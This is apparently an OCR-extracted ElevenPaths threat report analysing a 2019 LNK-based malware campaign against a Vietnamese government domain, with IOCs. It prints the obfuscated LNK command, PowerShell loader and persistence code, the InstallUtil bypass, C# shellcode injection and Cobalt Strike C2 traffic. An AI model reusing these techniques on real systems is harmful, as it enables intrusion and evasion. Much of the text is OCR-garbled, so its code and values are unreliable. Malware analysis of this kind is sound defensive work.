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What have we discovered?

We have detected a malware sent to some email accounts belonging to a Vietnam government domain.
This emailis written in Vietnamese and is dated March 13th, 2019. It seems to come from an account inside
the organization (gov.vn), maybe someone sending it to a security operator, because of resulting
suspicious.

D3 glti bang cach st dung OWA cho iPhone

Tir: So Noivu

PaAgli: 13Thang Ba 2019 10:23:53 5A

Pén: Nguyén Vin Chién; Nguyén Thi Hing Nhung; Lé Phil Nguyén; Tran Trung Son; V8 Ngoc Phi; VB Thi Tuy&n; VB Van Viét; Hoang Céng Nehiia; Mai Kim
Anh; Nguyén Qudc DU; Phan Thi Thanh; Tra Hoa NG5 Tran V0 Linh; V8 Thi Thu Diém; V8 Trigu Anh; BUi Thi Thu Linh; Dueng Tric Tién; Huynh Bao Trung;
Huynh Thi Nhu Ngoc; Lé Bire Tho; Lé Thi Kim Thao; Lé Thi Thu Thiy; Ngé Thi Kim Thay; Neguyén Bang Nhat Minh; Nguyén Viét Bao; Nguyén Vi Phugng;
Pharn Thi Thanh Huwe ng; Tran Binh Quén; Tran Blc Anh; Tran Thi Bich Diém; Tran Thi Bich Thy; Vi Thanh Nguyén; Nguyén Thi Td Loan;
vanthu@danang.govyn; Bang Chi Thanh; Tran Danh Nam; Hoang Tan N Nhu Ngoc; Nguyén Thi Kim Hing; Nguyén Thi Kim Oanh; Pham Thi Kim
Nhung; Admin Ban Thi dua Khen thudng; Ngé Khai; Nguyén Van N&m; Tir Vin Vi Binh; VB Quédc Tin; Huynh Thi Nhu Ngoc

Chad dé: TKCT quy | nam 2019

Kinh givi: Toan thé cing chirc, vién chive va ngwdi lao ding S& Nai vy

We focused on the attachment. Itis a zip file, never seen before in VirusTotal or any other Threat Intelligence
system that we are aware of.

T_44 indcators (1)
P virustotal (nfa)
| J “abe skrings (0f15/0/0{1851)

roperty | value

mdS 9B4C02FS709DE3I9ENS66FDDF 16546014
shal 0A573C8144BF922675007775CCBAF9611D9C39E2
A shazs6 DEBAS7CBOBDB39B0127D0SD27ECAFFBEE8F492C06A59C3386DFDEABOO4B6D2F2
first-bytes {hex) S0 46 03 04 14 00 00 00 00 00 FC 64 76 4E 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 64 62 35
TKCT.zip first-bytes (text) PKuovivivoiive o d¥No i ciiiiviiie o Fuv v dbs
size 155473 bytes
entropy 7.997

This file resulted in a very interesting infection system. It uses a combination of techniques never seen
before, making us think about a very targeted campaign, using interesting resources to specifically infect
Vietnam government.

The global view of the threat schema is the following:
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%comspec% /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy | nam
2019.doc.Ink">%temp%\%windir:~-
1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec
bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-

et | Ot | _bss_| 1,1%.ps1&for /f "delims==" %i in (‘dir "%temp

@ Decoy Document

¢ @ N ! /e
A= = 2

5N N I Legitimate executable to bypass
/ SmartScreen, AppLocker.
_;g \ Installutil.exe
s.pst peve— [N
Powershell Script that .NET Cobalt loaded by
launches wscripts.shell InstallUtil.exe

Although it may look typical, the schema hides some very smart techniques to avoid detection and fool the
system.

Docless DOC with three stages

Inside the ZIP there is no actual file. Instead, we can find a link file with .Ink extension that simulates a
document icon. This has been used before by attackers, but it is not a very popular tool.

/A TKCT quy I nam 2019.doc Properties x|
e T e e /!¢ AT
E‘ﬂ TKCT quy | nam 2019.doc 1,1%.ps1| p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec
bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-
JuostbeeiEle 1,1%.ps1&for /f "delims==" %i in (‘dir "%temp
Taiget location:
Target: [icomspec’ 7c Bavlndic 4 1indst /b /ex” S
e — Stattin: |
» 0 - " stk e
h Run: [Minimized |
[ —
OpenFileLocation | Changelcon.. |  Advanced.. |
TKCT quy I nam
2019.doc

The actual payload resides in the Target property of the link file, where the LNK points to. The target
contains MS-DOS obfuscated code to compose itself.

The result (using a technique called “carving") will be a PS file, base64 encoded, saved in % TEMP% variable
and named s.psl. DOS obfuscation refers to a technique based in DOS commands (used for BAT
programming) that obfuscates itself using loops, environment variables and composing names taking
substrings from filenames, directories, etc.

This PowerShell, once executed, will create and run another PowerShell file, that will reside only in memory
and that, again, will run a WScript Shell. The Script will create again other three files:
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1. Adecoy DOC file, making the victim think that an actual doc file has been opened.

WaE0 FENTAOOH I ELE ER 0gtNNNNNT SR

TTP» VDM Te T 88 n N2V B cOORN B OROD DM BB ROVEF
o0®0:DB 00220

120999958 1U5€00080VR0 D80 VB 00CEE RludR il - DBRRE M
A S8 L Rl Jabo i fcalalaiulslaalYorkoluluulalid 3y T Railis 1
H

= B OB OO0 R85 0ER DR So0 DEWE 20
GEERUZBEOREMITES RHO La-fl =ni7EE=EEmn
2 M0 BEAT S UE Gyl W E 0 a0l ECAMY)EMEBE0%
S0 B 0Bk 3 : 180 =6 azoMizl D80
128520 TCROEIER om0 VB0 VA MR = BOR E R S Gayanl BRY
St 10 FEEE0 B i
HULEX EfiAEs 0 SENE
SEIR R RS EH BS Lol SR EBENRR S UHIIRECT
EERooES SEZEMocD 070, A Ees0 CREER
CREUEER o) £¥ ¢ Hraual L
4851 F ST DoeoEeB RN DEH MU S M SRES AN S S W0
SY 0085 YE ¢ E s WRoECx T 0 B 0T 00B IF MR ERDS
SomREEERERN Lo YN REVIR R TR S S ST
COFMSHEE M0 cEEETH SR8 IS ERRL He U2 ROES
ARRERFRURENS AR TSR YNSRI BT URE
SHS WS TR0CHTOIRN MUSN DEGTHRER- BTSN - FrEn
MR CORBEHHCANTHES R FeEORSI M- RHTE /0N IR
HOSUeSRN SRR EN T2 YT UADIBY LaT S80S ) BIgE

8E; 2iE ORI 2 FeER+EsE0
HAROOHH-<2WEsIRRT BIBOERATSEEEHOETRB 0w
i RMEEARERFTS NN - FRESIL.B00ERERINS R
ORA ERYEEENCREARIROSEEES> B FRTER0RBLY %
¢ HEIEIREES LR YRAR LS LY oTAYUE I WM D
FERDoE~BRL ol EME P B (EFRLEE 0 SHFS0 oR0E

BESEREAROAE 2SR 208
SRS WL SITLRRIENT BT MO BI0QRE 3
E B TOHIE SR,

Extm ek EAIFYRNHODoETIEIE Y
ROZ#TOEENERERFOROMIN RAREY po Y SEO0LHBRN-RE
= P o B R P L Fad 6
Ao rRE Daainay FEREM T

wEo=RNEOMNBERE- B RS TURAMTNRIET OecoR oS HESR

A RS R comE R AR %l FEaUERACULEEE

\ESYR [ ER0TEERMEY I RSB s a0 S niErdn
Betx A% M o % e~ 2B TIE i R DIEEEE00
EHDE MER M RRT S YRR TR BEE0-SADT  REE
pOBWRROER X PRAEREE SOBEBLEMIoEE0 | S IREL Y00
2 SEORESENEE  TRES RIS ETE S UL RS YERRS LB
DR EOMHRIDoHeFENERE B0 H. 23 Ye | P BRRNRED
HESHESEESN R S EESY YR NE L RBE0SEIR W
A EESNE LB TR ENEY Y DB I EARIORRERIRSTY
BETESSENE- SR ET S UFAEERS s SEEEMEE-2F

RFEESU-ACETALERERS T sEARECERERER AR Y BELRSVES OeBRO0HR
Zar i oo BRI RIS S MITAQNE SRoRS S EEY;
O R4 Mo FED WL RIOFE 4 42 U AR+ QIRWHVOoCHR W e -0 £l
PRS0 EIREASRIRTEEAY ;g‘gma-ﬁmummﬁmﬂf‘iaeg 8REe. 2004 L] saE(aysy
- —— i te i g SETHHCH 0.l
e FER-TEERCOBE (1T BELSE AN ER B MERIRTE
AR TR N oo By BHBRENIE ]
R ‘ N seremen FTERE . BEFODER-EUERTT
- seems - a0zl L Zap0 HHVET Hoe
HEER) EE Do REE R A PRE S EFIR MR s SO SRR R e S S H e e

BN R R SR SRR ORR O EE Y RSN SRET RN _
BIELE W b L MBI E R i e MOoEWE 0 DML MR IHFECRD “RACEEREREG2 MY

ErmmlsE « e BUSRRTFBE TOIEvnDA9EE /£

2. Alegitimate tool to install NET assembled files. This Will be used to bypass SmartSCreen and
AppLocker protection, since the actual payload will be a parameter of this legitimate file.
3. ADLLfile, createdin .NET that contains the actual malicious payload.

DOS OBFUSCATION

%comsec% is an environment variable which usually translates into “cmd.exe”. “findstring” is coded as
f%windir:~4,1ndstring% which will take the fourth letter out of %windir%, and so on, using substrings and
aloop. The command will finally create a PowerShell file in %temp%. The string “iex" embedded in the LNK
file, marks the beginning of the payload in PowerShell code. IEX is an alias in PowerShell for Invoke-
Expression
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Zrimlre e 9 % /c f%windir:~4,19 i "iex" "%cd
P %comspec% /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy | nam
= 2019.doc.Ink">%temp%\%windir:~-
e . . .
i e e ——— | 1,1%.ps1 | p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec
- e PR , T
[ —f—————— bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-
e —y o . o
“ R e — 1,1%.ps1&for /f "delims==" %i in ('dir "%temp
o = s
LINK FILE
Offset(h) 00 O1 02 03 04 0S 06 07 08 09 OA OB OC OD OE OF
[ 00000990 2D 00 33 00 36 00 37 00 36 00 33 00 35 00 34 00 ~.3.6.7.6..0.4.
00000SA0 38 00 34 00 35 00 2D 00 31 OO0 30 OO 30 00 30 00 8.4.5 .

00000980 00 0O 00 00 00 00 00 00 00 00 00 00 60 00 00 00
000009CO 03 00 00 A0 58 00 00 00 00 00 00 00 77 69 6E 2D . X
00000900 32 61 39 62 37 38 74 73 30 36 39 00 40 45 15 84 2a9b78rs069.
000DOSEO 40 DO 74 43 BE 8F EB 2C 3F BC 44 D1 CD OF 18 23 (DzC%.&, 72%dif..#

C:\Windows\system32\cmd.exe /C ﬁndstmg /b / 000009FO 8A 40 E9 11 BO 36 00 OC 29 4k 83 41 40 45 15 84 S50é.°6..) JFAGE..

. 43 BE BF EB 2C 3F BC 44 D1 CD OF 19 23 @DzCX.&, 2%DNI..#
C:\Users\Admin\Desktop\attachment_tool\TKCT quy | nam 2019.doc.Ink mmw% 6..) 05k, ...
- 00000420 0D O 20 28 5B 54 €5 78 74 2E 45 6F B3 ((Texc.Enc

powershell.exe bypass -file C:\Users\Admin\AppData\Loca|\Temp\5,p51 0000030 6F 64 69 6E 67 SD 3A 3A 41 S3 43 49 49 2E 47 65 oding] ::ASCII.Ge

00000440 74 53 74 72 69 6E 67 28 SB 43 6F 6E 76 65 72 74 tString([Convert
00000ASO 5D 34 3A 46 7y 36 34 53 74 72 ] ::FromBaseédStr
covooreo es ot ¢ 26 -FLECARMINGS: &2 53 55 55 Lialotes romicas
0000DA7O0 4B 4A 47 35 33 54 6E 56 S1 63 53 41 39 49 44 41 KJIGSITAVQCSAIIDA
00000AS0 4E 43 69 52 71 55 S5 52 78 54 56 56 6F 49 44 30 NCiRGUURXTVVoIDO
000000 67 54 6D 56 33 4C S5 39 69 61 6D 56 6X 64 43 42 gTwWV3LUSiamVjdCB
ODDDORAD 54 SA 57 4E 31 63 6D 6C 30 65 53 35 51 63 6D 6C TZWNlcmlOeSSQcwml
000D0ABO 75 59 32 6C 77 59 S7 77 75 56 32 6C 75 SA 47 39 uVZ1luYWwuV2luZGs
00000ACO 33 63 31 42 79 61 57 35 6A 61 S8 42 68 62 43 67 3c1Byal5)aXBhbCg
000DOADO 67 S7 31 4E 6C 59 33 56 79 61 58 52 35 4C 6C 42 gVWINLY3VyaXRSL1B
ODODOAEO 79 61 57 35 6A 61 S8 42 68 62 43 35 58 61 57 35 yaW5jaXBhbCSXaWs

ODDDDAFO 6B 62 33 64 7A 53 S7 52 6C 62 6E 52 70 64 48 6C kb3AzSURIDNRpAH1
ANANARAA &4 4F &3 70 4R €3 SR €7 44 £4 GR 4K 70 €A €7 &  AAIRHTYDRAVINTUE

The PowerShell (beginning with the “lex" string) is base64 encoded. It will be used just to generate the
PowerShell that will launch a PowerShell in memory. This code will never be saved on disk.

.‘7‘-'1':.'.“;.‘—' %comspec% /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy | nam
) —— 2019.doc.Ink">%temp%\%windir:~-
sl 1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec
= = e bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-
. L — 1y12/° &for /f "delims==" % in (dir "%te e
- o || 1,1%.ps1 or /f "delims==" %i in ('dir "%temp

> p 5.4 X A i

:nrﬂ'\dsxa -exec bypass -file C:\Users\Admin\AppDatalLocaTempls.ps1

-
— ‘Windows PowerShel 10.0.14409.1005
Corporation

Mcrosoft
fNotes:
Signer: Microsoft Windows "
Console host: conhost.exe (3564) PowerShell File,

Process is managed (.NET).
never saved

iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(

"DQoj IyMNCgOKJIGS3 TnVQeS A9 IDANC i RqUURX TVVo IDOgTHV3 LUSiamVidCBTZUN1cnl0eS5QcmluY2 luYwuv2 1y ‘_
pIAOKaWYoJGpRREFNVUGuSXNJIb 1JvbGUoWIN1Y3VyaXRSL1ByalSjaXBhbC5XaWSkb3dzQnVpbHRIb 1JvbhGVAO] pE
xKQOKewkNCgkkMzg2ODU4MzYzIDOgIGVudjpXSUSESVIrI1xkZWI1Z1x0bXBEfcEZXd2 pkLiRhdCI7DQpIZWx zZXsK
kZSASIFtTeXNOZWOuQ29udnVydF060kZyb2 1ICYXNIN)RTAHI pbrco I 1RWeVFBQU1BQUF BRUFEQUEVL zhBQUxnQUFE
s.psl BAEFuTk1iZOJUTTBoVkdocGNSQOndjbT1lu¥2 1GAE 1HTuhibTV2 ZENCaVpTOnlkVzRnYVe0Z1JFOVRIRZF2 WkdVAURE
BM2s4QUF BQWABQUF BWUF BQUF BQKF EQUF nQUF BQUVEQUF CQUF BQUF EQUF BQUVBQUF BQUF BQUF BQ2 dBQUF BRUFBQUFE

BOUtBOOF BOUF BOUF BOUF BOUF BOUF EOUF BOUF BOUF JOUF BOXdBOUF BOUF BOUF BOUF BOUF BOUF BOUF BOUF BOUFBOUFE pe—

DISKLESS POWERSHELL

This file is the real core of the attack: it will create persistence, launch payload, and show decoy document.
This file, aside from the logic, contains three different artifacts. A decoy .doc file, a tool to install .net files,
and the payload itself.
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if (§Chrzmh -eq 1)
{
$VAKuGD = $env:TEMP+"\Bai.doc"; Decoy File
- EE——
\, [Byte[]] $bd_code =
[System.Convert] : :FronmBase645tring ( "OMS8R4KGXGuE: —
FELEEEETEEEEETTEE T80 80000000000 000000070000777
§InstallUtilv2 = §env:WINDIR+"\Microsoft.NET\Frawmeworkiv2.0.50727\ InstallUtil.exe"; I
§InstallUtilv4 = §env:VINDIR+"\Microsoft.NET\Frameworkiv4.0.30319%InstallUtil.exe";
Installutil.exe

Real .NET installer
decodificado_PS.wscript

if ($nwNuPq -eq 1)
¢ 5N
$386858363 = $env:WINDIR+"\debug) tmp_pFiwid.dat";
relse{ .
$386858363 = $env:TEMP+" tmp_pFUwid.dat"; — .NET cobal version

} launched by installer

[Byte[]]$var_code =
[System.Convert,

o

This file is written in PowerShell, but it uses obfuscated code to create an object that will use Wscript.Shell
Run to actually execute code.

E22 2

SnwNuPqg = ©
$3jQDgMUh = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
if ($jODgMUh.IsInRole ([Security.Principal.WindowsBuiltInRole]: :Administrator) -eg $true)
{
SnwNuPq = |

if ($nwNuPgq -egq 1)
{

$386858363 = Senv:WINDIR+"\debug\tmp pEFWwid.das";
}else{

$386858363 = Senv:TEMP+"\tmp pFWwid.dat";

[Byte[] ]$var_code = [System.Convert]::FromBase64String ("TVQQAAMARARAFEARAR//BAALGARAARAAAAQAAAAAAAAAAARAAAAAAAAAAAAARA]
[System.IO.File]::WriteAllBytes ($386858363,$var code) ;
$CArzmh = 1;

if ($CArzmh -egq 1)

{
SVAKuUGD = $env:TEMP+"\Ezi.doc”;
[Byte[]]de_code = [System.Convert]::FromBase64String ("0OMBR4KGXGUEARAAAAAAAAAAAAAAAAARAPGADAP T /COAGARRARAAAAARARNR]
[System.IO.File]::WriteAllBytes(SvAKuGD,qu_code);
Start-Process -FilePath $vAKuGD
}

$Installutilv2 = $env:WINDIR+"\Microsoft NET\Framework\v2.
$Installutilv4d = $env:WINDIR+"\Microsoft NET\Framework\vé.

o

.50727\Installutil.gxg";
.30319%\InstallUutil.gxg";

o
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The code contains Bai.doc in baseb4, which is the decoy document. And uses scheduled tasks to persist,
checking if the victim has privileges. This file checks if the user is administrator. If so, it copies the DLL file in
WINDIR\debug\ and %TEMP% otherwise. If administrator, it will create a scheduled task with SYSTEM
privileges, if not, it will try without so high privileges

Aside, this file is in charge of persistence. It creates a scheduled task.

CreateObject (chr (87) &chr (115) &chr (99) &chr (114) &chr (105) &chr (112) &chr (116) &chr (46) &chr (83) &chr (104) &chr (101) &chr (108) &chr (108)) .Run """$TempLoader"" /logfile= /u /LogToConsole=false "$386858363"", O
e

Savp = Get-Erocess -Name avp
$avpui = Get-Process -Name avpui

if ((Savp -ne $null) -or (Savpui -ne $null))
El {

ile = SenviTEME+"\ii At

[System.TO.File]: :WriteAllText ile,

$wscript = $env:WINDIR+"\system32\yagrisk-ca";
Stempwscript = $env:TEMP+"\winysh.sxs’
cmd.exe [c copy /[y "SusREARE" "SESMRMAGEIEL"

schtasks /create /sc minute /mo 3 /tn "Security Script kb00769670" [tr "Stempwacrink //Nelege //B Scommandfils” /F
schtasks /run /tn "Security Script kB00TE9670"

Yelse{

ile = $env:TEMP+"\Wi S
[System.TO.File]: :MriteAllText ($commandfile, $command) ;
Swscript = Senv:WINDIR®"\systend2\wsrripk ks’ /
$tempwscript = Senv:TEMP+"\winwsh-sxs"

cmd.exe /c copy /y "SmscRiRk” "SESMRWSSEARL"

schtasks /create /sc

schtasks /run /tn "se

'mo 3 /tn "Security Script kb00769670" /[tr "Sismpuwscribk //Nolege //Eiybsczipt //B Scommandfils" /F
cript Kb00T69670"

It is quite interesting that the malware checks if Kaspersky (avp.exe process) is running in the system and
acts differently if so. If Kaspersky IS in the system, it will create a scheduled task that runs a vbs script, as
usual. But if Kaspersky is NOT present in the system, it will rename the vbs to TXT and run wbscript with the
parameter /E:vbscript that allows the program to know what kind of script it is running. We guess this is
trying to bypass the detection tin some way, although it sounds counterintuitive.

The final stage, “uninstalling yourself”

The system runs the DLL with InstallUtil.exe, to avoid Smartscreen and Applocker. This whole command will
be called with a wbscript, creating the object.

$command =
@
CreateObject (chr (87) &chr (115) &chr (99) &chr (114) &chr (105) &chr (112) &chr (116) &chr (46) &chr (83) &chr (104) &chr (101) &chr (108) &chr (108)) .Run \\
""rSTempLoader"" /logfile= /u /LogToConsole=false "$386858363"", 0
"
@

Which basically is is:
WScript. Shell. Run InstallUtil exe

This is not so common and a very smart technique. How the malicious function is called is even more
interesting: the DLL will be “uninstalled” using InstallUtil.exe, a legitimate .net tool. We say “uninstalled”
because that is exactly the command used to install it. */u”. Does the APT uninstall anything? Not at all. It
actually installs itself.
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577 InstallUtil.exe 772 14.9MB  WIN-9GFSKE32360\Admin  .NET Framework installation utility

"C:\Users\Admin\AppDatalLocal\ Temp\InstallUtil.exe” flogfilesf fu logToConsole=Ffalse "C:\Users\Admi
(=7 winwo| n\Appr atalLocal\ Temp\tmp_pFWwwid.dat"
File:
R S e Vo T s e o e e
.NET Framework installation utility 2.0.50727.5420
Microsoft Corporation
Notes:
Signer: Microsoft Windows
Console host: conhost.exe (812)
Process is managed (.NET).
Process is 32-bit (WOW64).

The trick here is that the APT itself contains a “Uninstall” subroutine, that actually installs itself.

// CrateWindowByDotNet.Sample
[l public override void Uninstall(IDictionary savedState)

bool flag = false;
Sample.s_mutex = new Mutex(true, "GLOBAL_VMSytnSCg", ref flag);
if (!flag)
return;
¥
while (true)

GoCode.Exec();

-1

// CrateWindowByDotNet.GoCode
[Elpublic static void Exec()

string s = "ZsHCMIDotAwAAG/cjoeHRAxHOgxrBkMveXh41NHQDspz4Q75TQ7Ce+8K0kasbSeNhafXb3NhacMd+/NikmOb3mOh4fXb2eNh4cOwkvv48QAUWIs joeH129KjYeHDsIP7xcxody
byte[] array = Convert.FromBase64String(s);

string str = "Virtual”;

IntPtr hModule = GoCode.LoadLibrary("kernel32.d11");

IntPtr procAddress = GoCode.GetProcAddress(hModule, str + "Alloc");

GoCode.TjQrlwU tjQriwU = (GoCode.TjQrlwU)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(GoCode.TjQriwU));

string str2 = "Create";

procAddress = GoCode.GetProcAddress(hModule, str2 + "Thread");

GoCode.TCreateThread tCreateThread = (GoCode.TCreateThread)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(GoCode.TCreateThread));
uint num = tjQriwU(@u, (uint)array.length, GoCode.MEM_COMMIT, GoCode.PAGE_EXECUTE_READWRITE);

Marshal.Copy(array, @, (IntPtr)((long)((ulong)num)), array.Length);

IntPtr hHandle = IntPtr.Zero;

uint num2 = @u;

IntPtr zero = IntPtr.Zero;

hHandle = tCreateThread(@u, @u, num, zero, @u, ref num2);

GoCode.WaitForSingleObject(hHandle, 4294967295u);

-}

The .DAT file generated by the script is actually a DLL file compiled with .NET that contains the payload. It
will be injected in memory. It reserves memory with VirtualAlloc to inject shellcode and calls CreateThread.

The payload itselfis a Cobalt bacon, very clear from the way it communicates with its command and control.

54 49294 » 443 [ACK] Seq=1 Ack=1 Win=64240 Len-0

80 78.539535 TLsvi 158 Client Hello
81 75.839735 P 60 443 + 49294 [ACK] Seq=1 Ack=105 Win=64240 Len=0

82 78.972279  144.202.58.86 . TLSvl 1043 Server Hello, Certificate, Server Hello Done

83 78.972844  192.168.80.161 144.202.54.86 TLsvl 380 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message

84 78.973044  144.202.58.86 192.168.80.161 P 60443 + 49204 [ACK] Seq=090 Ack=431 Win=64240 Len=0

§5 79.109863 _144.202.53.86 161 TLsvl 60 Change Cipher Spec

88 79.216039  192.168.80.161 144.202.54.86 TP 54 49204 - 443 [ACK] Seq=431 Ack=996 Win=63245 Len=0

89 79.284438 192.168.80.161 TLSvL 107 Encrypted Handshake Nessage

90 79.306995 144.202.54.86 TLsvl 251 Application Data

91 79.307183 P 60 443 + 49204 [ACK] Seq=1049 Ack=628 Win=£4240 Len=0

92 79.440441 TLSvl 1514 Application Data, Application Data

93 79.440443 TP 215 443 + 49294 [PSH, ACK] Seqs=2509 Ack=628 Uin=64240 Len=161 [TCP segment of a reassembled PDU]

94 79.440506 144.202.54.86 TP 54 49204 + 443 [ACK] Seq=628 Ack=2670 Win=£4240 Len=0

95 79.440645 192.168.80.161 TLsvl 1514 Application Data, Application Data

96 79.440646 192.168.80.161 TLsvl 1514 Application Data [TCP segrent of a reassembled PDU]

97 79.440647 192.168.80.161 TLsvl 1214 Application Data [TCP segment of a reassembled PDU]

98 79.440647 192.168.80.161 TLsvl 1414 Application Data, Application Data

99 79.440648 192.168.80.161 P 1414 443 » 49294 [PSH, ACK] Seq=8110 Ack=628 Win=64240 Len=1360 [TCP segment of a reassembled PDU]

100 79.440662 144.202.54.86 TP 54 49294 + 443 [ACK] Seq=628 Ack=9470 Win=64240 Len=0

101 79.441914 168.80.161 TLSv1 1514 Application Data, Application Data

102 79.441915 192 TLSvl 1514 Application Data, Application Data

103 79.441916 bt P 1214 443 + 49204 [ = = =

104 79.441937 144, Tcp 54 49294 » 443 [Ac| Address | Length | Result

105 79.574030 192.168.80.161 TLSvi 1514 Application Dat| .,

108 75.574034 1mes0a6l T 1314 Application oax| OXC0H0 2 hitps:{{144.202.54.86/vk12

107 79.574040 192.168.80.161 TP 1514 443 + 49294 [Ac| 0x2dS0d0 52 https:{/144.202.54.86/vkT2 O BA L

108 79.574042 192.168.80.161 TLsvl 1314 Application Dat ‘ : I

109 79.574115 144.202.54.86 TP 54 :g;m » 443 [AC 0x2d5168 Sz https:{{144.202,54.86{vKT2

110 79.574935 192.168.80.161 TLSvl 1514 Application Dat! (0x2d59F0 81 ht 54.86/s(ref=nb_sb_noss_1/167-3204888-0262949field-keywords=books
111 79.574940 192.168.80.161 TP 1514 443 + 42294 [Ac| - s - e S
112 79.574943 TLSvl 1514 Application Dat| OX34bdd0 81 https://144.202.54.86/s} _sb_noss_1/16 !

113 79.574947 TLsvl 1514 Application Dat . | b 1673294835 ' ds=book
o ] G o A o e T 70x34c028 81 Vhttps.{‘ilﬁ.zoz.sm st _Vsb‘noss_ll.u i

115 79.574954. 192.168.80.161 TLSvl 914 Application Data, Application Data

116 79.575040 144.202.54.86 P 54 49204 + 443 [ACK] Seq=628 Ack=27150 Uin=60460 Len=0

117 79.576847 .202.54. 192.168.80.161 P 1514 443 + 49204 [ACK] Seq=27150 Ack=628 Win=64240 Len=1460 [TCP segment of a reassembled PDU]

118 79.576852  144.202.54.86 192.168.80.161 TLsvl 1314 Application Data, Application Data
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We cannot identify 144.202.54.86 with any other attack, as far as we know.

Conclusions

This malware uses some very interesting techniques that, if not new, are not common, and even less used
altogetherin a single attack.

. The attack seems to be targeting a very targeted Vietnamize government.

. Using a .LNK file keeps the attack away from sandboxes.

. The obfuscation techniques applied are very wisely used to keep the malware under the radar.

. The execution technique keeps the malware away from EDR, for example loading through a
legitimate binary, working in memory for deobfucation and injecting, etc.

. Although they use a known malware as command, the way it is injected in memory and loaded
results in a very interesting technique.

. This infrastructure is not used in any other attack.

I0Cs

. 144.202.54.86

. 0476ec8b4cb1b5dd368be52d9249f5b3cf6709b3141e9d02814c05f61cb90a91

. 89fdef30c14db09eL4e82c561dbL4a35cbc039b95bdfab340546f7ee54b887f59b

. 52dc9be06e921276c9df828bbbebdad9Ldf667e25af03bdddccbefec1470f1d7

. Mutex: GLOBAL_VMSytnSCg.
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About ElevenPaths

ElevenPaths, the Cybersecurity unit of Telefonica, we constantly challenge the current state of security. We
believe this should be a constant characteristic of technology. Furthermore, we constantly question the
relationship between security and people, with the aim of making innovative products able to transform the
concept of security itself and to keep being one step ahead of the attackers, as they are more and more
present in our life.

Further info

www.elevenpaths.com

@ElevenPaths

blog.elevenpaths.com
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